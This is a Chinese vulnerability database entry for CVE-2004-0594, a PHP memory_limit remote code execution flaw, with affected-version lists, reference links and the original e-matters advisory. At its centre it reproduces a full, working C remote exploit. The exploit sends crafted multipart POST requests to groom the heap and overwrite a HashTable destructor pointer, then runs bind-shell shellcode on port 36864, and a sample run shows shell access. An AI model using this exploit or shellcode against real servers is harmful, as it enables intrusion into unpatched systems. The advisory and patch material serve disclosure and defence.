CVE-2004-0594
CVSS5.1
发布时间 :2004-07-27 00:00:00
修订时间 :2016-10-17 22:46:28
NMCOEPS    

[原文]The memory_limit functionality in PHP 4.x up to 4.3.7, and 5.x up to 5.0.0RC3, under certain conditions such as when register_globals is enabled, allows remote attackers to execute arbitrary code by triggering a memory_limit abort during execution of the zend_hash_init function and overwriting a HashTable destructor pointer before the initialization of key data structures is complete.


[CNNVD]PHP执行任意代码漏洞(CNNVD-200407-083)

        PHP 4.x到 4.3.7版本以及5.x 到5.0.0RC3版本的memory_limit函数存在漏洞。在例如当启用register_globals条件下时,远程攻击者在zend_hash_init函数的执行过程中触发memory_limit中止以及在关键数据结构初始化完成之前覆盖HashTable析构函数指针来执行任意代码。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/o:trustix:secure_linux:1.5Trustix Secure Linux 1.5
cpe:/o:redhat:fedora_core:core_2.0
cpe:/h:avaya:s8300:r2.0.0
cpe:/a:avaya:integrated_managementAvaya Integrated Management
cpe:/a:php:php:4.3
cpe:/a:php:php:4.0
cpe:/a:php:php:4.3.6PHP PHP 4.3.6
cpe:/a:php:php:4.3.5PHP PHP 4.3.5
cpe:/a:php:php:4.3.7PHP PHP 4.3.7
cpe:/a:php:php:4.0.1PHP PHP 4.0.1
cpe:/a:php:php:4.0.3PHP PHP 4.0.3
cpe:/a:php:php:4.2.1PHP PHP 4.2.1
cpe:/a:php:php:4.0.2PHP PHP 4.0.2
cpe:/a:php:php:4.2.0PHP PHP 4.2.0
cpe:/a:php:php:3.0.16PHP PHP 3.0.16
cpe:/a:php:php:3.0.8PHP PHP 3.0.8
cpe:/a:php:php:3.0.17PHP PHP 3.0.17
cpe:/a:php:php:3.0.7PHP PHP 3.0.7
cpe:/a:php:php:3.0.14PHP PHP 3.0.14
cpe:/a:php:php:3.0.6PHP PHP 3.0.6
cpe:/a:php:php:3.0.15PHP PHP 3.0.15
cpe:/a:php:php:3.0.5PHP PHP 3.0.5
cpe:/a:php:php:4.0.7:rc3
cpe:/a:php:php:4.0.1:patch1
cpe:/a:php:php:4.0.3:patch1
cpe:/a:php:php:3.0.12PHP PHP 3.0.12
cpe:/a:php:php:3.0.4PHP PHP 3.0.4
cpe:/a:php:php:3.0.13PHP PHP 3.0.13
cpe:/a:php:php:3.0.3PHP PHP 3.0.3
cpe:/a:php:php:4.0.1:patch2
cpe:/a:php:php:3.0.10PHP PHP 3.0.10
cpe:/a:php:php:3.0.2PHP PHP 3.0.2
cpe:/a:php:php:3.0.1PHP PHP 3.0.1
cpe:/a:php:php:3.0.11PHP PHP 3.0.11
cpe:/a:php:php:4.0.5PHP PHP 4.0.5
cpe:/a:php:php:4.2.3PHP PHP 4.2.3
cpe:/a:php:php:4.0.4PHP PHP 4.0.4
cpe:/a:php:php:4.2.2PHP PHP 4.2.2
cpe:/a:php:php:4.0.7PHP PHP 4.0.7
cpe:/a:php:php:4.0.6PHP PHP 4.0.6
cpe:/o:trustix:secure_linux:2.1Trustix Secure Linux 2.1
cpe:/o:trustix:secure_linux:2.0Trustix Secure Linux 2.0
cpe:/a:php:php:3.0.18PHP PHP 3.0.18
cpe:/a:php:php:3.0.9PHP PHP 3.0.9
cpe:/a:php:php:4.0.7:rc2
cpe:/a:php:php:4.0.7:rc1
cpe:/a:php:php:3.0PHP PHP 3.0
cpe:/a:php:php:4.1.0PHP PHP 4.1.0
cpe:/a:php:php:4.1.2PHP PHP 4.1.2
cpe:/a:php:php:5.0:rc3
cpe:/a:php:php:4.1.1PHP PHP 4.1.1
cpe:/a:php:php:5.0:rc1
cpe:/h:avaya:s8300:r2.0.1
cpe:/a:php:php:5.0:rc2
cpe:/o:redhat:fedora_core:core_1.0
cpe:/h:avaya:converged_communications_server:2.0Avaya Converged Communications Server 2.0
cpe:/a:php:php:4.2::dev
cpe:/h:avaya:s8500:r2.0.1
cpe:/h:avaya:s8500:r2.0.0
cpe:/h:avaya:s8700:r2.0.1
cpe:/a:php:php:4.3.2PHP PHP 4.3.2
cpe:/a:php:php:4.3.1PHP PHP 4.3.1
cpe:/h:avaya:s8700:r2.0.0
cpe:/a:php:php:4.3.3PHP PHP 4.3.3

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:10896The memory_limit functionality in PHP 4.x up to 4.3.7, and 5.x up to 5.0.0RC3, under certain conditions such as when register_globals is ena...
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0594
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0594
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200407-083
(官方数据源) CNNVD

- 其它链接及资源

http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000847
(UNKNOWN)  CONECTIVA  CLA-2004:847
http://lists.grok.org.uk/pipermail/full-disclosure/2004-July/023908.html
(UNKNOWN)  FULLDISC  20040714 Advisory 11/2004: PHP memory_limit remote vulnerability
http://marc.info/?l=bugtraq&m=108981780109154&w=2
(UNKNOWN)  BUGTRAQ  20040713 Advisory 11/2004: PHP memory_limit remote vulnerability
http://marc.info/?l=bugtraq&m=108982983426031&w=2
(UNKNOWN)  BUGTRAQ  20040714 TSSA-2004-013 - php
http://marc.info/?l=bugtraq&m=109051444105182&w=2
(UNKNOWN)  BUGTRAQ  20040722 [OpenPKG-SA-2004.034] OpenPKG Security Advisory (php)
http://marc.info/?l=bugtraq&m=109181600614477&w=2
(UNKNOWN)  HP  SSRT4777
http://www.debian.org/security/2004/dsa-531
(UNKNOWN)  DEBIAN  DSA-531
http://www.debian.org/security/2005/dsa-669
(UNKNOWN)  DEBIAN  DSA-669
http://www.gentoo.org/security/en/glsa/glsa-200407-13.xml
(UNKNOWN)  GENTOO  GLSA-200407-13
http://www.mandrakesecure.net/en/advisories/advisory.php?name=MDKSA-2004:068
(UNKNOWN)  MANDRAKE  MDKSA-2004:068
http://www.novell.com/linux/security/advisories/2004_21_php4.html
(UNKNOWN)  SUSE  SUSE-SA:2004:021
http://www.redhat.com/support/errata/RHSA-2004-392.html
(UNKNOWN)  REDHAT  RHSA-2004:392
http://www.redhat.com/support/errata/RHSA-2004-395.html
(UNKNOWN)  REDHAT  RHSA-2004:395
http://www.redhat.com/support/errata/RHSA-2004-405.html
(UNKNOWN)  REDHAT  RHSA-2004:405
http://www.redhat.com/support/errata/RHSA-2005-816.html
(UNKNOWN)  REDHAT  RHSA-2005:816
http://www.securityfocus.com/bid/10725
(UNKNOWN)  BID  10725
http://www.trustix.org/errata/2004/0039/
(UNKNOWN)  TRUSTIX  2004-0039
http://xforce.iss.net/xforce/xfdb/16693
(VENDOR_ADVISORY)  XF  php-memorylimit-code-execution(16693)

- 漏洞信息

PHP执行任意代码漏洞
中危 其他
2004-07-27 00:00:00 2005-10-20 00:00:00
远程  
        PHP 4.x到 4.3.7版本以及5.x 到5.0.0RC3版本的memory_limit函数存在漏洞。在例如当启用register_globals条件下时,远程攻击者在zend_hash_init函数的执行过程中触发memory_limit中止以及在关键数据结构初始化完成之前覆盖HashTable析构函数指针来执行任意代码。

- 公告与补丁

        Please see the referenced advisories for more information.
        HP HP-UX B.11.11
        
        HP HP-UX B.11.23
        
        HP HP-UX B.11.11
        
        HP HP-UX B.11.00
        
        
        
        
        Apple Mac OS X 10.2.8
        
        Apple Mac OS X Server 10.2.8
        
        
        Apple Mac OS X Server 10.3.7
        
        Apple Mac OS X 10.3.7
        
        
        
        PHP PHP 4.0 0
        
        PHP PHP 4.0.1
        
        PHP PHP 4.0.1 pl2
        
        PHP PHP 4.0.2
        
        PHP PHP 4.0.3 pl1
        
        PHP PHP 4.0.3
        
        PHP PHP 4.0.5
        
        PHP PHP 4.0.7 RC1
        
        PHP PHP 4.0.7 RC2
        
        PHP PHP 4.1 .0
        
        PHP PHP 4.2 -dev
        
        PHP PHP 4.2.1
        
        PHP PHP 4.3
        
        PHP PHP 4.3.2
        
        PHP PHP 4.3.5
        

- 漏洞信息 (660)

PHP <= 4.3.7/ 5.0.0RC3 memory_limit Remote Exploit (EDBID:660)
linux remote
2004-11-27 Verified
80 Gyan Chawdhary
N/A [点击下载]
/* Remote exploit for the php memory_limit vulnerability found by Stefan 
 * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
 * 
 * by Gyan Chawdhary (gunnu45@hotmail.com)
 * (felinemenace.org/~gyan)
 * 
 * Greets
 * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
 * scrippie, gera, riq, jaguar, girish, n2n ... 
 *
 * Vulnerability:
 * The issue is well documented in the advisory. 
 *
 * Exploitation:
 * I cud not find a generic way to free a 40 byte chunk which could be later
 * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table 
 * which will be sent in the first request. The second request will kick in the
 * memory interuption after allocating space for the hashtable and before it is
 * initalized. The memory it will use for this allocation will contain the data
 * from our previous request which includes the pDestructor pointer pointing to
 * our nop+shellcode which is a part of the second request. This happens in the 
 * zend_hash_destory function. 
 *
 * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick 
 * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
 * Apache 2.0.49 with register_globals = On 
 *
 * Gyan
 *
 * 
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=------------ \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n";

char request2[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"\r\n"
"-----------------------------264122487026375--\r\n";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"-----------------------------264122487026375--\r\n";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";


void xp_connect(char *ip)
{
        char buffer[1024];
        char temp[1024];
        int tmp;

        s.sin_family = AF_INET;
        s.sin_port = htons(PORT);
        s.sin_addr.s_addr = inet_addr(ip);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Cannot create socket\n");
                exit(-1);
        }

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
        {
                printf("Cannot connect()\n");
                exit(-1);
        }
}

void xp_write(char *data)
{

        if(write (sock, data, strlen(data)) < 0)
        {
         printf("write() failed\n");
         exit(-1);
        }
}

void xp_receive()
{
        int tmp;
        char buffer[1024*2];
 
 	if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
        {
               printf("read() failed\n");
               exit(-1);
        }
}

char fill[] = " \r\n %s \r\n ";

/*This function builds the main request. In destroy_uploaded_files_hash we
 * need to pass zend_hash_apply to reach zend_hash_destroy. 
 * We set 
 * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION 
 * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
 * 3) ht->pDestructor = addr to nop+shellcode
 * 0x402c22bc <zend_hash_destroy+184>:     sub    $0xc,%esp
 * 0x402c22bf <zend_hash_destroy+187>:     pushl  0x8(%esi)
 * 0x402c22c2 <zend_hash_destroy+190>:     call   *%eax
 * 0x402c22c4 <zend_hash_destroy+192>:     add    $0x10,%esp
 *
 * $eax = ht->pDestructor
 */

void build1(int size, int count)
{
	        char *p1, *p2;
	        char *b1, *b2;
	        int i;
		int pot = 0xffffffff;
		int got = 0x41414141;
		int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
		int sot = 0x02020202;
		int ret = 0x081887a8;

		b1 = (char *)malloc(size-8);
                p1 = b1;

		for (i=0; i<size-8; i+=36) 
		{
		*( (int **)p1 ) = (int *)( pot );
		p1+=4;
		*( (int **)p1 ) = (int *)( got );
		p1+=4;
		*( (int **)p1 ) = (int *)( bot );
		p1+=4;
		*( (int **)p1 ) = (int *)( ret );
                p1+=4;
                *( (int **)p1 ) = (int *)( bot );
                p1+=4;
		*( (int **)p1 ) = (int *)( got );
	        p1+=4;
	        *( (int **)p1 ) = (int *)( bot );
	        p1+=4;
		*( (int **)p1 ) = (int *)( sot );
		p1+=4;
		}

	        b2 = (char *)malloc(size+1);
	        p2 = b2;

		sprintf(p2, fill, b1);

	        for(i=0; i<count; i++)
                xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with 
 * php_normalize_heap function */
void build2(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               b1 = (char *)malloc(size-8);
               p1 = b1;
               memset(p1, '\x42', size-8);
               b2 = (char *)malloc(size+1);
               p2 = b2;
               sprintf(p2, fill, b1);
               for(i=0; i<count; i++)
               xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
	return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               int pot = 0x90909090;

	       b1 = (char *)malloc(size-8);
               p1 = b1;
  
  	       for (i=0; i<size-8-strlen(shell); i+=4) {
		       *( (int **)p1 ) = (int *)( pot );
	                p1+=4;
                }
 		p1 = b1;

		p1+= size - 8 - strlen(shell);
		strncpy(p1, shell, strlen(shell));
      	       
       	       b2 = (char *)malloc(size+1);
               p2 = b2;

                sprintf(p2, fill, b1);

                for(i=0; i<count; i++)
	                xp_write(b2);
	      }
	       


void exploit()
{

	int i; 
	
	printf("Stage 1: Filling mem with bad pdestructor ... ");
	for (i=0; i< 5; i++)
	{	
  	     xp_connect(IP);
      	     xp_write(request1);
             build1(5000, 1);
             xp_write(request2);
	     close(sock);
	}
	printf("DONE\r\n");
	printf("Stage 2: Triggering memory_limit now ... ");
		
	xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
	printf("DONE\r\n");
	printf("Shell on port 36864\r\n");
	
}

main()
{
	/*No args, no vectors*/
	exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and 
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 * 
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/



// milw0rm.com [2004-11-27]
		

- 漏洞信息 (F35185)

phpnolimit.c (PacketStormID:F35185)
2004-12-11 00:00:00
Gyan Chawdhary  
exploit,php
CVE-2004-0594
[点击下载]

Exploit that makes use of the PHP memory limit vulnerability discovered in July of 2004.

- 漏洞信息 (F33790)

php_memory_limit_remote.txt (PacketStormID:F33790)
2004-07-14 00:00:00
Stefan Esser  security.e-matters.de
advisory,remote,php,code execution
CVE-2004-0594
[点击下载]

PHP memory_limit remote vulnerability allows for remote code execution on PHP servers with activated memory_limit.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

                           e-matters GmbH
                          www.e-matters.de

                      -= Security  Advisory =-



     Advisory: PHP memory_limit remote vulnerability
 Release Date: 2004/07/14
Last Modified: 2004/07/14
       Author: Stefan Esser [s.esser@e-matters.de]

  Application: PHP <= 4.3.7
               PHP5 <= 5.0.0RC3
     Severity: A vulnerability within PHP allows remote code
               execution on PHP servers with activated memory_limit
         Risk: Critical
Vendor Status: Vendor has released a bugfixed version.
    Reference: http://security.e-matters.de/advisories/112004.html


Overview:

   PHP is a widely-used general-purpose scripting language that is 
   especially suited for Web development and can be embedded into HTML.

   According to Security Space PHP is the most popular Apache module
   and is installed on about 50% of all Apaches worldwide. This figure
   includes of course only those servers that are not configured with
   expose_php=Off.
   
   During a reaudit of the memory_limit problematic it was discovered 
   that it is possible for a remote attacker to trigger the memory_limit
   request termination in places where an interruption is unsafe. This
   can be abused to execute arbitrary code on remote PHP servers.
  
    
Details:
   
   On the 28th June 2004 Gregori Guninski released his advisory about
   a possible remote DOS vulnerability within Apache 2 (CAN-2004-0493).
   This vulnerability allows tricking Apache 2 into acception arbitrary
   sized HTTP headers. Guninski and many others rated this bug as "Low
   Risk" for 32bit systems, but they did not take into account that 
   such a bug could have a huge impact on 3rd party modules.
   
   After his advisory was released I reaudited PHP's memory_limit 
   request termination, because this bug made it possible to reach the 
   memory_limit at places that were never meant to be interrupted. 
   After a possible exploitation path for Apache 2 servers was 
   discovered and a working exploit was created, similar pathes were 
   found and added to the proof of concept exploit that allowed
   exploitation of NON Apache 2 servers. (f.e. Apache 1.3.31)
   
   The idea of the exploit is simple. When PHP allocates a block of
   memory it first checks in the cache of free memory blocks for a block
   of the same size. If such a block is found it is taken from the cache
   otherwise PHP checks if an allocation would violate the memory_limit.
   In that case the request shutdown is triggered through zend_error(). 
   (PHP < 4.3.7 aborts after the violating memory block is allocated)
   PHP contains several places where such an interruption is unsafe.
   An example for such places are those where Zend HashTables are 
   allocated and initialised. This is performed in 2 steps and the
   initialisation step itself allocates memory before important members
   are correctly initialised. An attacker that is able to trigger the
   memory_limit abort within zend_hash_init() and is additionally able
   to control the heap before the HashTable itself is allocated, is 
   able to supply his own HashTable destructor pointer.
   
   Several places within PHP where found where this action is performed
   on HashTables that actually get destructed by the request shutdown.
   One of such places is f.e. within the fileupload code, but is only 
   triggerable on Apache 2 servers that are vulnerable to CAN-2004-0493, 
   another one is only reachable if variables_order was changed to have 
   the "E" in the end, a third one is within session extension which is 
   activated by default but the vulnerability can not be triggered if
   the session functionality is not used. A fourth place is within the
   implementation of the register_globals functionality. Although this
   is deactivated by default since PHP 4.2 it is activated on nearly
   all servers that have to ensure compatibility with older scripts.
   Other places might exist in not default activated or 3rd party
   extensions.
   
   All mentioned places outside of the extensions are quite easy to
   exploit, because the memory allocation up to those places is 
   deterministic and quite static throughout different PHP versions.
   The only unknown entity is the size of the environment vars array.
   But that is usually small and can be bruteforced with some kind
   of binary search algorithm. Additionally this information could
   leak to an attacker through an open phpinfo() page. If the admin
   used php.ini-recommended as configuration basis it is irrelevant
   anyway because the ENV array is not populated in that case.
   
   Because the exploit itself consist of supplying an arbitrary 
   destructor pointer this bug is exploitable on any platform.
   (Except the system runs with non exec heap+stack protection)
   This includes systems running Hardened-PHP <= 0.1.2 because they
   have no protection of the HashTable destructor pointer.
   
   As a last word it should be said, that an attacker does not need
   to send 8/16/64MB (or whatever the memory_limit is) per attack.
   With POST requests it is quite easy to eat 100 (and more) times 
   the amount of sent bytes.


Proof of Concept:

   e-matters is not going to release an exploit for this vulnerability
   to the public.
   

Disclosure Timeline:

   07. July 2004 - Vendor-sec was informed about the fact that this
                   vulnerability was found
   14. July 2004 - Public Disclosure


CVE Information:

   The Common Vulnerabilities and Exposures project (cve.mitre.org) has
   assigned the name CAN-2004-0594 to this issue.

   
Recommendation:

   If you are running PHP with compiled in memory_limit support, it is
   strongly recommended that you upgrade as soon as possible to the 
   newest version. Disabling memory_limit within your configuration can
   be considered a workaround, but leaves your site vulnerable to 
   memory hungry PHP scripts or POST requests that create huge variables.
   If you are running PHP with Apache <= 2.0.49 ensure that you have the
   fix for CAN-2004-0493 applied.
   
   
GPG-Key:

   http://security.e-matters.de/gpg_key.asc
    
   pub  1024D/3004C4BC 2004-05-17 e-matters GmbH - Securityteam 
   Key fingerprint = 3FFB 7C86 7BE8 6981 D1DA  A71A 6F7D 572D 3004 C4BC


Copyright 2004 Stefan Esser. All rights reserved.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQFA9Icab31XLTAExLwRAuvFAKCzOMXUnIaj0CkCW0GxXg08YErusACgmU8z
5d1swwTrHOVQLKmruY+pea0=
=H98x
-----END PGP SIGNATURE-----
    

- 漏洞信息

7870
PHP memory_limit Function Arbitrary Code Execution
Remote / Network Access Other
Loss of Integrity
Exploit Public, Exploit Commercial

- 漏洞描述

The PHP memory_limit function contains a flaw that may allow a malicious user to remotely execute arbitrary code. The issue is triggered when an attacker is able to trigger the memory_limit abort within the zend_hash_init() function. It is possible that the flaw may allow the attacker to control the heap, resulting in a loss of confidentiality, integrity, and/or availability.

- 时间线

2004-07-14 2004-06-26
2004-11-25 Unknow

- 解决方案

Upgrade to version 4.3.8 or 5.0.0 or higher, as it has been reported to fix this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

PHP memory_limit Remote Code Execution Vulnerability
Failure to Handle Exceptional Conditions 10725
Yes No
2004-07-14 12:00:00 2007-11-15 12:36:00
Discovery of this issue is credited to Stefan Esser <s.esser@e-matters.de>.

- 受影响的程序版本

Trustix Secure Linux 2.1
Trustix Secure Linux 2.0
Trustix Secure Linux 1.5
Trustix Secure Enterprise Linux 2.0
RedHat Stronghold 4.0
RedHat Linux 9.0 i386
RedHat Linux 8.0 i686
RedHat Linux 8.0 i386
RedHat Linux 8.0
RedHat Linux 7.3 i686
RedHat Linux 7.3 i386
RedHat Linux 7.3
RedHat Enterprise Linux WS 3
RedHat Enterprise Linux ES 3
RedHat Desktop 3.0
Red Hat Fedora Core2
Red Hat Fedora Core1
Red Hat Enterprise Linux AS 3
PHP PHP 5.0 candidate 3
PHP PHP 5.0 candidate 2
PHP PHP 5.0 candidate 1
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.5
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
- FreeBSD FreeBSD 4.6
- FreeBSD FreeBSD 4.5
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3
+ Slackware Linux 8.1
PHP PHP 4.2 .0
PHP PHP 4.2 -dev
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1 .0
+ S.u.S.E. Linux 8.0 i386
+ S.u.S.E. Linux 8.0
PHP PHP 4.0.7 RC3
PHP PHP 4.0.7 RC2
PHP PHP 4.0.7 RC1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3 pl1
+ S.u.S.E. Linux 6.4 ppc
+ S.u.S.E. Linux 6.4 i386
+ S.u.S.E. Linux 6.4 alpha
+ S.u.S.E. Linux 6.4
PHP PHP 4.0.3
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 IA-32
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
+ Sun Cobalt Control Station 4100CS
+ Sun Cobalt Qube3 Japanese 4000WGJ
+ Sun Cobalt Qube3 Japanese w/ Caching and RAID 4100WGJ
+ Sun Cobalt Qube3 Japanese w/Caching 4010WGJ
+ Sun Cobalt RaQ XTR 3500R
+ Sun Cobalt RaQ XTR Japanese 3500R-ja
PHP PHP 4.0.2
PHP PHP 4.0.1 pl2
PHP PHP 4.0.1 pl1
PHP PHP 4.0.1
+ Sun Cobalt Qube3 4000WG
+ Sun Cobalt Qube3 w/ Caching and RAID 4100WG
+ Sun Cobalt Qube3 w/Caching 4010WG
+ Sun Cobalt RaQ4 3001R
+ Sun Cobalt RaQ4 Japanese RAID 3100R-ja
+ Sun Cobalt RaQ4 RAID 3100R
PHP PHP 4.0 0
PHP PHP 3.0.18
PHP PHP 3.0.17
+ S.u.S.E. Linux 7.1 x86
+ S.u.S.E. Linux 7.1 sparc
+ S.u.S.E. Linux 7.1 ppc
+ S.u.S.E. Linux 7.1 alpha
+ S.u.S.E. Linux 7.1
+ S.u.S.E. Linux 7.0 sparc
+ S.u.S.E. Linux 7.0 ppc
+ S.u.S.E. Linux 7.0 i386
+ S.u.S.E. Linux 7.0 alpha
+ S.u.S.E. Linux 7.0
+ Trustix Secure Linux 1.2
+ Trustix Secure Linux 1.1
PHP PHP 3.0.16
PHP PHP 3.0.15
PHP PHP 3.0.14
PHP PHP 3.0.13
PHP PHP 3.0.12
PHP PHP 3.0.11
PHP PHP 3.0.10
PHP PHP 3.0.9
PHP PHP 3.0.8
PHP PHP 3.0.7
PHP PHP 3.0.6
PHP PHP 3.0.5
PHP PHP 3.0.4
PHP PHP 3.0.3
PHP PHP 3.0.2
PHP PHP 3.0.1
PHP PHP 3.0 0
PHP PHP 3.0 .16
PHP PHP 3.0 .13
PHP PHP 3.0 .12
PHP PHP 3.0 .11
PHP PHP 3.0 .10
Mandriva Linux Mandrake 10.0 AMD64
Mandriva Linux Mandrake 10.0
Mandriva Linux Mandrake 9.2 amd64
Mandriva Linux Mandrake 9.2
HP OpenVMS Secure Web Server 7.3 -2
HP OpenVMS Secure Web Server 7.3 -1
HP OpenVMS Secure Web Server 7.3
HP OpenVMS Secure Web Server 7.2 -2
HP HP-UX B.11.23
HP HP-UX B.11.22
HP HP-UX B.11.11
HP HP-UX B.11.11
HP HP-UX B.11.00
HP Compaq Secure Web Server for OpenVMS 2.0 PHP
HP Compaq Secure Web Server for OpenVMS 2.0
HP Compaq Secure Web Server for OpenVMS 1.3
HP Compaq Secure Web Server for OpenVMS 1.2
Debian Linux 3.0 sparc
Debian Linux 3.0 s/390
Debian Linux 3.0 ppc
Debian Linux 3.0 mipsel
Debian Linux 3.0 mips
Debian Linux 3.0 m68k
Debian Linux 3.0 ia-64
Debian Linux 3.0 ia-32
Debian Linux 3.0 hppa
Debian Linux 3.0 arm
Debian Linux 3.0 alpha
Debian Linux 3.0
Avaya S8700 R2.0.1
Avaya S8700 R2.0.0
Avaya S8500 R2.0.1
Avaya S8500 R2.0.0
Avaya S8300 R2.0.1
Avaya S8300 R2.0.0
Avaya Integrated Management
Avaya Converged Communications Server 2.0
Apple Mac OS X Server 10.3.7
Apple Mac OS X Server 10.3.6
Apple Mac OS X Server 10.3.5
Apple Mac OS X Server 10.3.4
Apple Mac OS X Server 10.3.3
Apple Mac OS X Server 10.3.2
Apple Mac OS X Server 10.3.1
Apple Mac OS X Server 10.3
Apple Mac OS X Server 10.2.8
Apple Mac OS X Server 10.2.7
Apple Mac OS X Server 10.2.6
Apple Mac OS X Server 10.2.5
Apple Mac OS X Server 10.2.4
Apple Mac OS X Server 10.2.3
Apple Mac OS X Server 10.2.2
Apple Mac OS X Server 10.2.1
Apple Mac OS X Server 10.2
Apple Mac OS X Server 10.1.5
Apple Mac OS X Server 10.1.4
Apple Mac OS X Server 10.1.3
Apple Mac OS X Server 10.1.2
Apple Mac OS X Server 10.1.1
Apple Mac OS X Server 10.1
Apple Mac OS X Server 10.0
Apple Mac OS X 10.3.7
Apple Mac OS X 10.3.6
Apple Mac OS X 10.3.5
Apple Mac OS X 10.3.4
Apple Mac OS X 10.3.3
Apple Mac OS X 10.3.2
Apple Mac OS X 10.3.1
Apple Mac OS X 10.3
Apple Mac OS X 10.2.8
Apple Mac OS X 10.2.7
Apple Mac OS X 10.2.6
Apple Mac OS X 10.2.5
Apple Mac OS X 10.2.4
Apple Mac OS X 10.2.3
Apple Mac OS X 10.2.2
Apple Mac OS X 10.2.1
Apple Mac OS X 10.2
Apple Mac OS X 10.1.5
Apple Mac OS X 10.1.4
Apple Mac OS X 10.1.3
Apple Mac OS X 10.1.2
Apple Mac OS X 10.1.1
Apple Mac OS X 10.1
Apple Mac OS X 10.1
Apple Mac OS X 10.0.4
Apple Mac OS X 10.0.3
